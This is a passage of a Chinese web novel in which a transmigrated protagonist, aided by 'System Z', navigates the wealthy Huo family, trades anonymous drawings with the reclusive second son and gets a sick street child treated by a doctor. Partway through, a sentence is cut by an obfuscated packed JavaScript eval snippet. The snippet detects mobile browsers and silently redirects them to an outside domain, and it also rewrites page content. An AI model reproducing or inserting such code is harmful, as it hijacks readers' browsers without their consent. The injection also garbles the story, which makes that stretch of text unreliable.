沿路随处可见珍奇藏品,高档家具,更不用提全天通电照明的顶灯。放眼望去,男女仆从无一不是相貌周正气质姣好的。霍家符合人们对富商家族应有的幻想,有过之而无不及。 行至露天长廊,四周人影愈发稀少。 “夫人因有要事在外处理,今天恐怕无法及时回来与您见面。由我代她向您转达歉意。” “好。” 韦执事虽不苟言笑,但仍有常人的情感私欲。他不禁放慢步子,与青年并肩而行。 “戴维·菲尔丁已被驱逐出庄园,老菲尔丁先生一家意见颇大。这些我已告知夫人,您请静心疗伤。” 老菲尔丁相比马库斯,不同于出身。没被雇佣前,老菲尔丁是本地帮派的成员,早年间专干贩酒运酒的高危事业,负伤跛脚光荣‘退役’后,仍与那个‘家族’保持亲密联系。 数十年已逝,民间帮派不再嚣张,可难说最后一击鱼死网破。 忌惮他们一家报复,不是没道理。 然而霍家是他们冒犯不起的,那么便剩小小的‘莱特·莱恩’,捏死不足为惧。 “谢谢您,韦先生,我会好好养伤。” 客套言谢并不令韦执事意外,他不再多言,完成自己的使命。 新琴房坐落于东楼一层,原先是会客厅,因此宽敞又亮堂。只需拉开窗帘,皎洁月色便照亮屋内,尤其是那座漂亮的三角钢琴。 “这是夫人的意思。您今后可以随意进出这里练习。” 韦执事临走才道出所谓‘见面’的正真目的。 “她希望您能赶在小姐生日会前,能恢复到之前的弹奏水准。那么我先告辞。” 可看着那只不时颤抖,指节弯曲变形的手,离开琴房的韦执事对此事抱有极高怀疑。 霍夫人从不了解有关琴手的轻重。也不在乎这青年能否在避免二次伤害的情况下,如她愿恢复。 更准确的说,是如霍骊小姐的愿。 抚摸钢琴冰凉的漆面,择明尝试按下两个音,却以失败告终。 右手根本没有精准按压的能力。 而他就这样坐在琴椅上,欣赏月光铺满黑白琴键,一动不动。 正当他以为这将是个无趣的发呆之夜时,幽暗的侧门却传来一道声音。 “你就这样傻傻看着它,它也不会对你开口说话的。” 3. 打破的声音是pop!-03 皮鞋跟轻叩大理石板地,声源与刚才的嗤笑同处。 择明犹豫着,没起身。 “愚蠢可笑。” 毫无疑问,这是男性的嗓音。 年轻,但不稚嫩,骄纵却不参杂厌弃。他也不是目前为止择明知晓的任何一人,不存在系统Z提供的数据,亦是‘莱特·莱恩’应有的记忆中。 择明手搭上钢琴琴盖。 “如果是我无礼,打扰您的清净。我这就……” 男人于暗处走向银色光流,苍白肌肤恍若自行生光,作为油画底布描摹胜似玫瑰的面容。他的美艳,如一把凌厉冷酷的刀,笔直刺入注视者眼中。从此以往,心间只有他。 不满择明关合琴盖的动作,他亮出背在身后的手。 细长教鞭往琴上一挥,随性披散的黑发于耳侧落下一缕。 “我原以为你蠢已经是极限,没曾想阁下记性差得竟也不分伯仲?那贱女人说了,这间房以后就是给你练琴用的。现在,坐下,从D调练习曲开始。” 他以严师口吻命令,学生却盯着他不着痕迹走神。 择明可不记得,有谁说过会冒出一个‘精灵教师’来帮他复健。 择明:“先生。” 男人不给反应时间,执鞭又是一敲,离他右手仅两公分。砸在高音区,音符连片尖叫。 “现在,马上开始。除非你还想让你这手再多一道伤。” 说这话的他包裹在华丽典雅的黑礼服中,真是一个残暴又傲慢的君王,不容任何质疑和忤逆。 仅限于钢琴世界。 面对能称霍夫人为‘那个贱女人’的神秘钢琴教师,择明别无他选,回归原位。 只不过这次,他特地拆掉那层纱布。 练习曲很短,堪堪两分钟的重复段。仅需右手移动在较小范围内,佐以左手和声,因此音律并不算优美动听,只能说是一段旋律。 暴|君教师抿唇不语,手指画圈转动着,示意重复弹奏。 择明沉默照做。 一遍又一遍,一遍又一遍。 同样的两分钟曲目如机械循环播放,如海潮涌向琴房四角,拍打花色墙纸又逐一涌回,永不止歇。 男人没说停,他便像没有知觉,操纵酸痛无力的右手游走黑白琴键之上。汗水早已浸透那件借来的深蓝外套。 “啧。” 失望的啧嘴声为琴声按下暂停键。 男人却只收起折叠教鞭。 “明天你不用来了。” 转身离去,动作毫不拖泥带水。他危险的注视,与兴趣一起彻底丧失。因为他已亲自验证,那只曾能用琴音撩动心弦,触及灵魂的手,没有再复原的可能。 尽管几十遍的弹奏下来,音准力度都有所恢复。 【系统Z:主人,您现在要怎么做留住他】 择明视线紧随对方肩垫上闪动的碎光,听见系统声音,颇为惊讶。 【我在想,你是不是被我的琴声折服了才一直不理我。比起莱特·莱恩,我自认我的水平不差,就是这位老师实在严苛】 【系统Z:我是否该告诉您,您的弹奏其实很一般,表现力也是】 调侃反被系统无情点评,择明心里笑了笑。 目送那道身影没入黑暗,择明如愿关起琴盖,举起双手舒展身躯。 他的右臂依然比左边矮几公分,抬不上去。 【系统Z:您就这样离开了?】 “你也听到了,我明天起就不用来了。”择明惋惜打量着四周,“只是浪费了霍夫人的好意。她急切奉上的礼物,恐怕并不合对方心意。” 【系统Z:您的意思是?】 “嘘——这是秘密。不可说。”择明食指抵在唇前,煞有介事噤声。 回程无人领路,他自行绕道,穿过主楼旁的花园迷宫。 这是霍昭龙第三任妻子留下的。玫瑰花和紫罗兰,她两种最爱的花卉与矮树构成壮观的圆型迷宫。 可在工程彻底完成,绿色覆盖半片园地前,她就于一场画展被暗杀在汽车里。 过去被一些男仆人恶意追逐喊打,莱特最喜欢往迷宫里躲。 乌云飘荡,藏起月色指引。迷宫深处泛起点点橘光,吸引了择明的注意。 他没放轻脚步,更没绕近道。故意留出恰当时间,好让谁抢在他现身前逃之夭夭。 迷宫圆心是座花亭,一盏煤油灯火苗正旺,安放在石椅上。一并留下的还有散乱的炭笔稿纸,空荡荡的画架。 看来逃跑的人,只来得及带走自己未完成的画作。 路线未完工,眼前是三道出口。想再追上找到对方是不可能的。 这回系统Z迅速给出提示。 【系统Z:第三任霍夫人留下的男孩,二少爷霍子晏,曾几次在这撞见莱特·莱恩受仆人围殴,后来没再出现。根据目前情况分析,他应该是有意避开了。】 岂止是‘撞见’。 那模糊身影藏在迷宫绿墙后,视线多次与莱特交汇,却是无动于衷。 最近一次的相遇里,莱特不慎敲伤后脑,他忍不住在霸凌者离开后向对方求救。 影子在他眼前一来一回走动,只是为拿走落下的画板。 幼时丧母,父亲接连续娶,长姐被全家人悉心照料,最小的弟弟又有后母疼爱,自己却夹在中间既不突出,也不算多余。像面包卷夹心外的焦绒,平庸而乏味。 从童年到成年,稀缺关爱的霍子晏眷恋象征母亲的花园,反对外界乃至自身冷漠,不足为奇。 择明捻起面包碎屑,附着的碳粉很快染黑他的拇指。 “有只小鼹鼠才冒出地洞透气,就被过路旅人吓缩回去了。可怜的,担惊受怕的小东西。”他由衷感慨。 现成工具在手,他毫不客气,小做整理霸占原位。 起笔是两道倾斜直线,标记光影分区。阖眼构思数秒,勾勒出轻重有度的轮廓。 【系统Z:您在做什么】 择明:“你要学会观察,Z,思维不要太狭隘。生活中的一些浅显事,我不能总是为你解答的。” 他苦口婆心父母发言,系统Z照旧冷冰冰。 【系统Z:我是否能理解为,您现在转变了针对目标,通过以这种成功率较低的‘互留纸条’方式搭讪】 笔尖摩擦画纸簌簌作响,择明轻哼方才的钢琴旋律,左手灵巧,控笔流畅。 “我一直认为,人类家庭中排行第二的孩子是值得更多垂怜的。尤其是当另外两个还要比他出众的时候。” “被忽视,被比较,被用作中间可上可下的调节踏板。有脾气,有诉求,但总强迫自己一再忍耐,委曲求全,成为木讷老实的代名词。” “实际上,像布满空心洞的海绵,一点水分湿润便能使之膨大涨开,却怎么也吸不满。他们往往要比其他兄弟姐妹更沉默,却也更加激进,欲|望深重,或许……能在最后做出超乎所有人想象的事。” 喃喃自语中,择明完成一幅黑白画作。 【系统Z:我该我为我的狭隘轻视道歉,主人】 “那我接受你的道歉,Z。” 择明满意卷起画作,压在他亲自整理的稿纸之上。 “你与我还有很长一段时间需要互相指导,一起虚心学习,我很期待,你呢?” 系统没有答复。 火光摇曳,煤油灯被佩戴面具的青年吹熄,留在寂静无声的迷宫中心。 但它并没有等待多久,就迎来了接它的人。 从中间拱门钻出的男子个头很高,纯正褐发顺服贴着脑袋,眼窝凹陷眼底发青,一板一眼的气质与这套米白衬衣木色背心相辅相成,如老树长腿缓慢走路,顺眼又说不出的怪异。 他是霍家的二公子,霍子晏,曾被戴维戏称为木柴人。 当然,嚣张如戴维也只敢背地里嚼舌根。 察觉画具被动过,霍子晏眉头皱起一道沟壑。 站定犹豫半晌,他带着嫌弃神色收起画架。纸和笔,他打算都直接扔掉,重新再叫仆人买。 余光偶然一瞥,一份画卷阻止他离开的动作。 它被红色丝带缠绕,蝴蝶结比例完美左右对称,连摆放角度都那么无可挑剔,一眼便能看中。 如此精美的包装,让人很难抗拒拆开它,一堵礼物真容的好奇心。 发现自己情不自禁用上‘礼物’这一指代词,霍子晏垂下头,否认地摇了摇。 怎么可能是给他的。 再说昨晚不一定是有谁来过,算不准是老鼠野猫、猫头鹰之类的动物造访。 可动物不会对人类用心筹备礼物。 呼吸忽快忽慢,彰显内心斗争的激烈。一次冗长深呼吸后,霍子晏放下画架,转而拿起画卷。 丝绸轻轻一扯,很容易解开,纸张自然垂落,毫无保留地将冲击他神经,大脑,整具僵硬却逐渐颤抖的身体的线条呈现。 丰腴柔美的新娘侧过头,宝石光泽如星辰碎片点缀发间。分明是黑白双色,可她羞赧以手遮脸,却又从指缝小心窥探的神情栩栩如生,一抹脂红浮出苍白纸色,是她的欣喜喷涌而出。 新郎未出现在画面,可依靠后方女人们的惊艳羡慕,男人们的自惭形愧,都能在脑海中描绘出他颠倒众生的容颜,折服八方的气势。 风流轻拂页脚,一刻不停畅游林间,他仿佛听到那含情脉脉,唇如蜜柑的新娘开口清唱。 ——我的良人啊,你快来 ——如羚羊或小鹿在香草山上 霍子晏几度捂嘴又放下,像匹焦躁困兽,在看不见的牢笼中来回踱步。 唯有反复观摩画卷,卷起惊涛骇浪的心才得以平静。 画就是给他的礼物。 他此刻坚信这点。 因为昨晚遗落的稿纸,那些不成形的,杂乱无章的线条,是折磨着他整整半年的灵感。 成品他不是没有画出来过,然而每到收尾,强烈的厌恶迫使他难再下笔,脑中空白。撕毁底稿后,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592329|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往往又要在画室封闭上十几天,最后拖着失魂躯体来到母亲的迷宫,重新调整状态。 如今,真正的绝品已出,单凭一张铅稿就能将他死气沉沉的‘赝品’打入地里,贬得一文不值。 不,他任何一副作品与之相比,都只配称作尘土。 霍子晏像喝烈酒般摇晃,倚靠柱子才站稳,久久回不了神。 震撼狂喜之后,心如被挖肉,蓦然空虚,接着又被索然无味的疑问充满。 这作品花了多久时间,用了什么技巧,怎么想的构图,衣服的褶皱,光影的切分与交汇怎么调整…… “是谁……你会是谁。”霍子晏紧紧按压心口呢喃。迫切地想找出能探究谜底的方法。 他如此忘我,以至于天空阴沉,雨点骤降还没抽离自己的小世界,直到雨水差点弄湿画纸,他才匆匆将其藏入衣中。而他终于想到一种绝妙的方法。 暴雨下到深夜停歇,一天滴水未进,霍子晏看起来比早上更憔悴瘦削,可他双眼目光如炬,满含期待,撑到回房,往床上一栽睡到次日傍晚。 比起昨天他又平静几分,至少能做到吃饭喝水,一边欺骗自己下楼见证‘奇迹’,一边抨击自己不要痴心妄想,乖乖呆在房里就好。 期待,永远能轻松超过失落。 霍子晏梳过头发,换过衣服,终究下到花园里。 熟悉的路线今日竟出奇的陌生又幽长,还剩一个拐口,他捏紧衣袖,害怕上前。 ——啪嚓 不知来源的声音惊动他,等回过神,他已迈出最艰难的一步,望向石亭瞪圆一双满布血丝的眼。 是‘回信’! 一张纸贴在他昨日留字条的地方。位置变了,因此他很肯定。 纸堪堪手掌大小,停歇着一只被雨打湿翅膀的莹蓝闪蝶。 霍子晏迫不及待上前,在伸手欲要驱赶蝴蝶时定格。 这只蝴蝶,并不会飞。 它生来就是落于此处,只为等候他来临。 油灯照耀,蝶翼泛着蓝紫双色的金属光泽,在画纸构图非但没让它变成扁平的死物,反而令它一直身处触须微动,即将振翅的前奏。 【你是谁】 他昨天在纸上写下这句话,既祈求应答又不期待回复,矛盾等待至今。 他或许应该再次感谢曾被他唾弃愤恨的上天,让他重获幸运女神垂怜。 “Morphoaurora。” 霍子晏喃喃念出,像博物馆的修补师取下画纸,动作小心,生怕碰碎半分。 那个‘他’,自称黎明闪蝶。 亢奋令霍子晏恢复几分血色,借助忽暗忽明的煤油灯,他匆匆取出画纸,留下又一份包含热切期盼的‘信’。 他多想一直守着,等到对方出现。可勇气总是恰到好处消失,逼他退回阴暗孤独的洞穴中。 一个地洞——这是他今夜传达的简讯。 午夜,这张简讯被择明拿在手中。 马库斯要去进新花种离开当地,他大胆搬进当初的‘案发现场’花房。这儿有着数量丰富的天然颜料。 借烛火点燃烟斗,择明吸气吐气品味烟草的芬芳甘苦,咂了下嘴。 “让我想想,这次我们要给小鼹鼠什么回信?” 【系统Z:我认为您现在无论给他什么,他都会奉若珍宝,甘之如饴】 择明当即摇头,拿出教育口吻,“不不。这并不礼貌,Z。确实,他有着一颗对艺术狂热赤忱的心,在这方面会比初生婴儿还单纯,极易受人操纵。正因如此,我们才更加要尊重他的热爱,不可敷衍。” 【系统Z:听您慷慨陈词,我都快忘了当初您信誓旦旦的选择了】 择明莞尔,敲落烟斗前端积蓄的灰,执笔准备回信。 金属门却在这时摇晃,伴着激烈的亲吻,两个紧紧搂抱的身躯撞进花房。 其中一人攻势猛烈,疯狂在另一人身上攫取温软清香,另一人欲拒还迎,不时轻哼几声,配合着放软身体。 昏暗的灯下,两人面庞一闪而过。是两名男人。 被蓝绣球遮掩在后,择明放下笔,两手交叠支撑下巴。 饶有趣味观看这场激情四射的活春|宫,目不转睛。 想起什么,他故意脑中询问。 【你怎么不说话,Z】 【系统Z:主人,我不认为,这是你我需要一起学习的内容】 择明噗嗤轻笑出声,“好,那我学习就行。你不要看不要听,乖。” 【系统Z:您……】 第一次见系统欲言又止,择明捂眼双肩抖动,最后像是忍耐不住,捧腹大笑。 与此同时,花房门边的暧昧声嘎然而止。 率先起身的人上衣敞开,目光是动情后的慵懒和被打搅的不满,与霍夫人七分相似的面容早已证明其身份。他是霍家的小少爷,霍子骥。 “出来。”他也笑着命令,“我数三声,你不出来,我就在这放把火,把你烧了。” 4. 打破的声音是pop!-04 透过绣球花端详金发黑眸的霍子骥,择明由衷感慨子随母相这一普遍定律。 小少爷与霍夫人的最大不同,大抵在他的放浪形骸,自信张扬,以及右眼角下那颗浅褐泪痣。 【系统Z:主人,他要过来了】 由于不熟悉花房布局,霍子骥一味笔直前进。 他穿行盆栽花丛,踩烂幼苗,折断花叶。眯眼含笑无所谓的模样,与先前的发狠威胁判若两人。 择明在对方将要拨开绣球花之际吹熄烛火。 光线陡暗,但令霍子骥止步的是他的道歉。 “对不起,三少爷。我不知道您今夜会带朋友来观赏昙花。” “呵·····” 霍子骥抬手,抓弄自己柔顺胜丝绸的铂金秀发,衣襟大敞,任胸膛至腰际裸|露,健美胴体的线条展露无遗。 他紧盯幽暗角落,恰似耐心猎人守候猎物。 “我说会是谁在这打搅我兴致,原来是你这只丑猴子,今天你又被谁打断手脚,烧毁脸了?” 毫无疑问,那日在二层露台热闹看戏的正是三少爷。但那时,他左拥右抱的可都是女人。 “我受人所托过来照看花,做梦睡糊涂忘记离开而已,三少爷。” 择明从善如流回答,只字不提那场酣战前|戏。 霍子骥下巴轻挑,神色倨傲与他母亲如出一辙。轻飘飘一句‘那你可以滚了’将他打发。 纸笔在外套下藏好,择明特地绕道而行,避免任何接触。 不过到花房门前,他与那名男性情人不期而遇。 情人与三少爷年龄相仿,十七八岁。腼腆垂眸,站姿乖巧,因低头看不清脸,唯见细长睫毛如羽翼颤动,更添几分惹人怜爱的稚气。 “晚、晚安,莱恩先生。” 擦肩而过瞬间,择明捕捉到声若蚊蝇的问候。 他略感惊讶,回头同扬起脸的男孩四目相望。也认出对方。 这是草场上的小马童艾文,时常被马库斯叫去跑腿,或进出别墅主宅,为那的仆人运送皂角香膏之类零碎物。他长相讨喜,嘴甜体贴,没有谁会狠心拒绝这只小羊羔。 艾文认识莱特·莱恩,还能与霍子骥发生关系,并不奇怪。 点头以示回应,择明不作停留离开,将这座浪漫花房留给这对秘密情侣。 【系统Z:他们不一定是恋人】 回木屋路上听系统否认,择明颇感兴趣追问。 择明:“何以见得,Z。” 【系统Z:三少爷霍子骥自小如此,喜好俘获他人芳心,征服各色‘难茬’,男女通吃亦来者不拒。他的作风喜好,不仅上流交际圈里人尽皆知,在当地也是响当当有名。但碍于霍家明面上需维持声誉,公开场合他仅挑选女伴】 私下身边换过多少人,就不得而知了。 不同于深闺养病的长姐,默默无闻的二哥,霍子骥优秀的社交能力与生俱来,尽管偏爱寻求刺激,在家犯错最多,还迷醉男欢女爱,不务正业,可连严肃苛刻的霍昭龙都有被他逗乐消气的时候。 全家对其纵容至深,又爱又恨。 但至今未对他下重手惩戒,究其原因,还是继承一事。 霍昭龙年事已高,迟早退居二线,最后撒手家业颐养天年。而今放眼霍家,单有一个霍子骥可胜任家主之位。 事实上,他已提前参与部分生意,仅负责布置酒宴派对,帮父亲的生意顾客伙伴捧场。 毕竟,没有人比他更懂享受。 “那真是标准花花公子一名。他一定经常打喷嚏吧?” 【系统Z:您的意思是?】 择明:“他想要得到的人太多。可想要他的人,也数不胜数。” 木门在择明身后关起,微弱烛光至黎明燃尽。 整夜伏于桌前作画,择明精力充沛,不见倦意。沾湿一身露水把回信送至迷宫,他如约在庄园偏门等待马车。 今天,是他要给那群流浪儿们答复的日子。 来到城区,褪下面具,他顶着那张不堪入目的脸走过街道。 情况已然与最初相比天翻地覆,他不再是无人留意的幽灵,唯恐避之不及的怪物。所有人望向他,无一不是面露微笑,能同他坦然交谈的。 “莱特,又来买葡萄?我特地留了一串最饱满的。天气这么热,我等会儿就要收摊了。” 他迎上前,摇头婉拒。 “多谢好意,米洛斯夫人。不过您更应该带回家给您的女儿,她正在长身体。相信再过不久,他也会成为和您一样优秀美丽的女子。” 赞美没刻意夸大,关心口吻真挚,每当面对面交流,无论身份地位如何,相貌个性是好是坏,他们皆能从这年轻人那得到至高无上的尊重。 宛若在炎炎夏日跃入清凉泉水,一瞬间获得难以言喻的宽慰,甘愿沉沦。 妇人米洛斯不自觉面露微笑,受触动轻压心口。 “那我借你吉言了,祝你一天好运,莱特。” 越来越多相似对话绊住青年脚步,跟随他感知一切,系统Z再次出声。 【系统Z:我甚至要以为您是临时改变主意,选择改正‘莱特·莱恩’的扭曲诉求,成为人人爱戴的圣者】 择明:“我有么?” 【系统Z:至少就目前您的行为来看,您甚至要比‘莱特·莱恩’更善良阳光,真诚谦逊。而且您在处理戴维·菲尔丁一事上,有句谚语很贴切——杀敌一千自损八百】 “现在就是需要我给你上一课的时候了,Z。” “日安,莱特。” 气球商贩打断了择明自语。 “你又来给那群小兔崽子买礼物了?” “巴特先生,”择明摘帽欠身,“您夫人的腿伤如何。” “你怎么知道我家那婆娘摔断腿了?”巴特狐疑皱眉。 择明神情自然,上前挑选气球,“您忘了么,上回你还向我抱怨,说她这段时间躺床动不了,突然爱使唤起你,一点小事就要你背她上楼下楼。鞋底都磨破了。” 话锋一转,他故意眨眼打趣。 “我后来想了想,夫人平日忙于家务,你又早出晚归做生意。她这是向你撒娇,想你多陪陪她。生病养伤中的人呢,向来容易受孤独困扰。” 巴特惊讶,大笑时两撇八字胡尾巴上翘。 “老夫老妻二十年,也就你们年轻人会想这种不害臊的事。你放心,最近我替她去向教堂的本·安医生求药,再过几天她又能下地追鹅跑了。” “本·安医生?名字真独特。” “是啊。但这本医生,医术实在高,街尾那长肉球驼背的‘秃鹫’,你知道的吧,上次竟被本先生治好了。就是不知道用的什么办法。本医生治病时不允许其他人进出,一定要十分干净的房间……” 商贩喋喋不休,叙述摆脱不了市井小民的特性,东拉西扯,频繁跳转。有时自己说到哪也不记得。 可择明微笑倾听,适时追问,巴特不知不觉将话倒了精光。 包括曾被‘本·安’医生要求保密的内容。 “本医生会在城里轮流换位点,哪需要看病他就去哪。不收家里穷得揭不开锅的,或疑难杂症,重病快死的人的钱。”巴特压低声音故作神秘,“不要说出去。这些只有和医生当面说才知道。医生不准我们告诉别人,尤其是不住在这街上的。也不准我们帮他‘拉客’。” 作为禁止告知的对象,择明郑重点头保证,牵上气球离开。 【我告诉你,不算毁约吧,Z】 【系统Z:您的话让我不知道怎么回答,主人】 【下次再遇到这种问题,你直接说‘是的,主人’总不会错,Z】 【系统:是的,主人……您是故意的吗】 尽管系统的语气自始至终都无情绪起伏,择明出声轻哄。 “别生气,Z,我们还有很多事情等着做,无意义的发怒只是徒劳。” 话音刚落,他转角便被小孩们扑满怀。 “莱恩先生!您总算来了!” 萨沙满脸急切,不像是思念或急于他答复,拽他往深巷去。 七八个孩子同时说话,叽叽喳喳难以听清内容。最后来到野棚,他才终于得知孩子们为何惊惶。 野棚是这区域所有无家可归者的住所。一片空地,用木架雨布搭成简陋帐篷。其中孩子往往又是欺压对象,那些流浪汉连自己都照顾不好,更别提去保护‘稚嫩幼苗’。 最破旧狭窄的帐篷里,玛吉昏睡着面色涨红,她小小一团缩在尼尔怀里,艰难呜咽,呼吸急促。 择明立刻放下东西,蹲地与女孩额头相抵感受体温。 这群孩子虽生活艰苦,但体质素质一向较强。玛吉是他们中最活泼可爱的,前天还生龙活虎。 “我、我们想要带她去看医生,莱恩先生。”尼尔眼眶发红,不知所措向他求助,“但昨天我们的钱被抢走了、我们又不知道该去哪找您,您有钱的话、可不可以先借我们,我们会写欠条的!” 择明不语,脱下外套给病患披着。 那点擦鞋卖花赚来的钱,还不够找正规医生问诊。 他当即决定道。 “尼尔,你跟我去。萨沙继续留在这照顾好大家,没事的,我一定会找医生把玛吉治好。我可不希望我的第一讲,就有谁翘课缺席。” 以往谁要说单独带某个孩子离开,萨沙仿佛小母虎见人血,一蹦三尺高,张牙舞爪驱逐。 因为她自己正是被这样拐卖,离开温暖幸福的家庭。独自成长至今,目睹种种腌臜污秽,她早已立誓不再轻易相信他人。 但她含泪仰望,此刻太阳正如初遇那日一般,悬停青年头顶。 光因人影恰到好处遮挡,变得闪耀却又柔和。 恍惚间,她见到了曾日夜祷告的对象——宽容无私,博爱世人的神使。 萨沙主动捧起择明的右手,在额前贴了贴,心中祈求。 ‘请让我跟随’ ‘请让我蒙您荫蔽’ ‘从今以往,您是我唯一的归宿,我是您忠贞不移的愚仆’ 轻拍女孩脑袋安慰,择明马不停蹄动身。穷人区教堂十分好找,只需跟随流浪汉乞丐,循着免费浓汤面包的浓香,便能在蜿蜒街巷中摸索出正确路径。 当三人抵达时,早间餐食施舍会恰好结束。 一位老人率先注意到他们,牧师打扮,面容和蔼。 “请问,有什么需要帮助吗?” “拜托了!我们需要看病!” 尼尔脱口而出,却被择明按住肩。 “我们需要见一见本·安先生。” 老人笑容顿消,将他二人仔细打量。甚至没放过尼尔怀中的玛吉。期间视线在择明的怪异‘阴阳脸’上停留最多。 最后仍拿不定主意,老者让他们稍等,独自进门。 片刻后门被打开,他探出半边身子示意尼尔。 “请这位孩子跟我进来。” 择明抬手对尼尔又是一拦。 “我必须陪同。”他要求着,语气温和却态度强硬,“作为他们的看护者,我不能容忍两人同时离开我视野的情况发生。请您理解。” 老人犯难,“这……” “让他们进来。” 门后传来谁的命令,声音低沉,没有起伏。 老牧师不再坚持,领他们进了门。 屋内,三架病床洁白整洁一字排开,医疗器具样样齐全,静躺在金属推车里。 当医生转身,亮出张熟悉面孔时,择明毫不意外。他轻声唤道。 “本·安先生。” 伊凡·贝内特。 见了他,伊凡动作一顿,但视线很快转移到喘气咳嗽的玛吉身上。 很难想象,她这四岁孩童,喉咙竟能发出狂风吹折大树的咔咔声,仿佛下一秒就要咽了气。 只一眼,伊凡便确定病因。 “是喉头炎。把她放在床上,你,去侧门劈柴烧热水。我没说够就继续烧。”他特地指着尼尔。 尼尔第一时间望向择明,获得对方点头示意才行动。 “扶她坐起来,替她喂药和热水,按我说的方法拍她背部。” 伊凡背对人鼓捣药剂,调配适量后转身,发现青年仅凭他几句口述,完美处理着女孩咯痰窒息的症状。 女孩浓痰粘稠带血吐在青年手心,他既不大呼小叫嫌弃也未强装镇定,以衣袖轻拭对方嘴角,继续为人抚背顺气。俨然另一个救死扶伤的医生。 抢救花费半小时不到结束。 灌入药咳出痰后,玛吉呼吸平稳,尽管在昏睡但体温逐渐下降。 尼尔如释重负,手绞着帽子走到伊凡面前。 “谢……谢谢您本医生。” 畏惧男人双眼里的漠然疏离,更担心会有天价治疗费,他紧张不已。 “明天之前继续留床观察,她要是再喘气就给她喂药。去继续换毛巾给她降温。” 这口吻直来直去,但至少在庄 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伊凡锁眉困惑。他接触霍家时间不长,但多多少少从霍家仆人口中听过描述,拼凑出莱特·莱恩的形象。他很肯定,这面具不离脸,孤僻古怪的四少爷不可能育有子女。 “是我们求莱恩先生帮我们的。钱我们会自己付,无论花多长时间,请不要为难他。” 尼尔忍不住起身辩解,径自走来,想从择明手上拿过账单。 择明大手一盖对方脑门,言辞宠溺。 “听话,尼尔。去陪玛吉就好。” 沉默至今,老牧师发话了。他看着尼尔,如恍然大悟道。 “你是尼尔,和萨沙一起的尼尔?” 尼尔点头承认。 原来萨沙曾是这远近闻名的‘小泼妇’,不仅敢打伤人贩|子逃到教堂,后来又将所有意图领她去孤儿院的大人打骂走,不得不放弃她。对于自己的兄弟姐妹,她亦如此保护。 伊凡皱着的眉松开几分。 他没再提高额账单的事,也没理会择明等人,收拾东西匆匆离去。而经老牧师同意,萨沙那群孩子也被迎进教堂过夜。 旧地重游,萨沙不抗拒的模样令老牧师倍感惊讶。她对名为‘莱特·莱恩’的青年表露的信任依赖,更让所有目击者大跌眼镜。 择明在教堂陪同到深夜,确定玛吉脱离危险,才悄然离去。 这时间点等不来任何便车,唯一能来接他的马库斯还身在外地,择明手插在裤兜中,呵气收紧身体,慢吞吞向外走。他外伤恢复,内伤却未愈,至今还有点怕冷。 无灯照耀的暗巷,两束刺目白光由远至近,随着引擎轰鸣停在他眼前。 “上来。” 老爷车后座里,伊凡冷眼觑来,语气同样冷峻。 择明上车与人并排而坐,彼此一路无言。直到即将驶出这片老城区,他才望着窗外深幽的夜问道。 “这是您的故乡?还是说您在这长大。” 男人反应激烈,由假寐猛然睁眼,不可置信转头却只见对方后脑勺。 “为什么要这么问。” “总有这种感觉,和猜测。” “成才成名以后,人们总有着一种不可避免的回归冲动。或为自豪炫耀,从试图证明自己延伸更庞大的目标,那就是改变别人和他们的生活,反哺养育出自己的贫瘠土壤,碾压拔除拥挤过自己的猖獗杂草。又或者,为不可言说的……秘密。” 吐息落在秘密二字后,伊凡心如漏跳半拍。 “我很羡慕你,伊凡·贝内特。” 他听到对方叹息,不带敬语,像是多年老友间互相倾诉。 “我多希望我能是你,或是教堂里的他们,那群孩子。” 出身贫贱,生活似乎更加艰辛望不到头,可仍拥有蓬勃发芽,肆意生长的翻身机会。 当他被接入家大业大的霍家,扣上不伦不类的‘养子’名头时,他就已与这种自由绝缘。 他不能太优秀出挑,不然会成为别人的眼中钉肉中刺,缠入利用与被利用的蛛网。但他又不能太无用软弱,否则下一个‘戴维’正摩拳擦掌等着他,无根浮萍被浪轻松吞下。 离开一词说得轻巧。 但明有戴维家族帮派虎视眈眈,暗有看不见的觊觎者蠢蠢欲动。这一切组成牢笼,巨大而密不透风,至始至终罩在他头顶。 临近霍家庄园,道路街灯与车擦身而过,光影更迭中,伊凡看着对方面具贴脸,关合锁扣,又变成那天木屋里寡言木讷的行尸走肉。 待他回神别过头,与窗中倒影四目相会,不禁为自己眼中流露的怜惜怔愣。 车在离门三百米远处停,伊凡却突然叫住下车的人。 “钱我照旧要收。包括他们的住宿费,账单我会一直记着,到你能还得起为止。” 无视对方的欲言又止,他继续道。 “你手断了又不是截肢残疾,脑袋损坏成呆瓜,有空闲时间跑出来陪小孩玩,还不如找份像样零工。比如说看护教书。” 中间蓦地一顿。 “我南片教堂很缺人手。” 话音刚落伊凡拍两下司机椅背,车立即启动,飞速掉头消失在夜色。 择明好笑地耸肩。 “贝内特先生虽然是位好医生,但可能不太适合放贷收利息,要亏本的。” 【系统Z:是的,主人。您说得对,不然他也不可能是医生】 从系统的罕见废话中听出点‘报复’意味,择明边走边轻轻晃脑袋。 “那你觉得我合适吗,放贷收债?” 【系统Z:是的,主人】 “我会因此富有吗?” 【系统Z:是的,主人】 “我能攒够钱买一匹小马驹吗?” 【系统Z:是的,主人】 “那我能找人实践向三少爷学习的成果,表演给你评分吗?” 犹如曲谱弹奏到休止符,系统应答戛然而止。良久才响起声音。 【系统Z:您现在可以再告诉我,这种问题我又要怎么应付您了】 择明眯眼笑吟吟,愉悦显现在他轻蹦小跳的步伐。虽然今日是他首次从霍家大门进,但他也很快意识到变化。 庄园灯火通明,站岗侍者数量远超平常,分明已是深夜,主宅及周边仍是一副忙碌盛况。 种种迹象表明一件事——霍家家主,霍昭龙回来了。 5. 打破的声音是pop!-05 霍昭龙年近六十,保养得当又有气质加成,远远望去一袭风衣,身姿笔挺,仍是名风雅美男子,皮相骨相无可挑剔。时光偏袒于他,除去白发不忍再为其增添皱纹。 